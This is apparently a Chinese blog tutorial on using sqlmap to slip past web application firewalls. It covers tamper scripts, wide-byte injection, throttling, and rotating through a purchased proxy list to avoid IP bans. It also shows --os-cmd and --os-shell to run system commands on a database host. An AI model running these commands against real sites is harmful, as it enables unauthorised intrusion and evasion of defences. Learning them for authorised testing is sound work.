当前位置:网站首页>SQLMAP使用教程(四)实战技巧三之绕过防火墙
SQLMAP使用教程(四)实战技巧三之绕过防火墙
2022-07-07 03:22:00 【Aτθ】
目前很多网站都使用waf对网站进行保护,在渗透测试过程中,很多的操作都会被拦截,在测试SQL注入时,waf会对请求过来的流量进行拦截,
导致SQLMAP请求的内容无法到达目标,SQLMAP无法判断目标是否存在注入,waf对恶意的攻击请求进行拦截,拦截会拉入黑名单,导致攻击者
访问不到目标。无法进行安全检测。
一、查看temper模块
sqlmap --list-tamper

二、宽字节注入
sqlmap -u "http://192.168.127.131/sql/Less-32/?id=1" --dbms mysql --tamper "unmagicquotes.py" -v 4 --current-user



三、设置线程大小
在遇到waf的时候,如果并发过大,会认为是cc攻击,ip会被封堵。
--threads=1 设置线程为1
四、设置http请求延时
--delay=DELAY 设置每个 HTTP请求的延迟秒数。
五、使用代理注入
sqlmap -u "http://192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" -p name --dbms mysql -v 1 --proxy=http://192.168.1.107:4455



六、使用代理池注入
购买代理池之后,获取代理保存到文件内,比如:proxy.txt
123.73.208.166:46603
123.73.63.29:46603
123.73.63.84:46603
112.123.40.42:40806
183.47.94.248:38090
121.237.149.88:13804
114.99.108.71:23359
123.73.209.246:46603
123.73.63.132:46603
119.55.253.202:39730
--proxy-file 从文件中加载代理列表。
sqlmap -u "http://192.168.0.136:7766/Less-32/?id=1" --dbms mysql --tamper "unmagicquotes.py" -v 1 --proxy-file=proxy.txt
七、sqlmap命令执行
--os-cmd=OSCMD 执行操作系统命令
--os-shell 调出交互式操作系统 shell
注入点的当前用户是dba时,使用以上两个命令,一个是执行命令,一个是调用交互操作系统shell
1、sqlmap -u "http://www.dm1.com/inj.aspx?id=1" -v 1 --os-cmd="net user"
2、sqlmap -u "http://www.dm1.com/inj.aspx?id=1" -v 1 --os-shell
使用--os-shell命令会弹出一个交互shell的界面,可以输入命令,如果可以回显就会返回命令执行的信息。
边栏推荐
- Graduation design game mall
- 【mysqld】Can't create/write to file
- How to do sports training in venues?
- 【NOI模拟赛】区域划分(结论,构造)
- This article introduces you to the characteristics, purposes and basic function examples of static routing
- 父组件传递给子组件:Props
- sqlserver多线程查询问题
- Leetcode T1165: 日志分析
- Answer to the first stage of the assignment of "information security management and evaluation" of the higher vocational group of the 2018 Jiangsu Vocational College skills competition
- Matlab tips (30) nonlinear fitting lsqcurefit
猜你喜欢

Lvs+kept (DR mode) learning notes

After the promotion, sales volume and flow are both. Is it really easy to relax?

CompletableFuture使用详解

2018 Jiangsu Vocational College skills competition vocational group "information security management and evaluation" competition assignment

关于数据库数据转移的问题,求各位解答下

How can gyms improve their competitiveness?

MySQL view bin log and recover data

Comment les entreprises gèrent - elles les données? Partager les leçons tirées des quatre aspects de la gouvernance des données

main函数在import语句中的特殊行为

AVL树的实现
随机推荐
linux系统rpm方式安装的mysql启动失败
Complete process of MySQL SQL
ANR 原理及实践
服装门店如何盈利?
Please tell me how to monitor multiple schemas and tables by listening to PgSQL
数据资产管理与数据安全国内外最新趋势
工具类:对象转map 驼峰转下划线 下划线转驼峰
根据IP获取地市
Jetpack Compose 远不止是一个UI框架这么简单~
MySQL user permissions
子组件传递给父组件
2018年江苏省职业院校技能大赛高职组“信息安全管理与评估”赛项任务书第二阶段答案
oracle如何备份索引
Under what circumstances should we consider sub database and sub table
Multidisciplinary integration
How does an enterprise manage data? Share the experience summary of four aspects of data governance
【mysqld】Can't create/write to file
Leetcode T1165: 日志分析
多线程与高并发(9)——AQS其他同步组件(Semaphore、ReentrantReadWriteLock、Exchanger)
Unity3d learning notes